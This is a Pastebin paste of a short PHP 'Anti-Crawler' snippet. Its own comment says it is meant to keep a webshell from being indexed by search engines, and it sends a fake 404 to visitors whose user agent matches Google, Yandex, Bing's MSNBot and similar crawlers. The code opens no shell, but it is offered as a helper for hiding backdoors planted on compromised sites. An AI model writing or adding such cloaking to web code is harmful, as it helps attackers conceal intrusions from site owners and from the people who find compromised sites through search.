Advertisement
JfaMhxcTCPC

Anti-Crawler By JfaMhxcTC PC

Dec 7th, 2019
289
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.40 KB | None | 0 0
  1. // Anti-Crawler By JfaMhxcTC PC
  2. ## God Bless all
  3. /* For your favorite webshell not index in any motor search*/
  4. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  5.     $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  6.     if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  7.         header('HTTP/1.0 404 Not Found');
  8.         exit;
  9.     }
  10. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement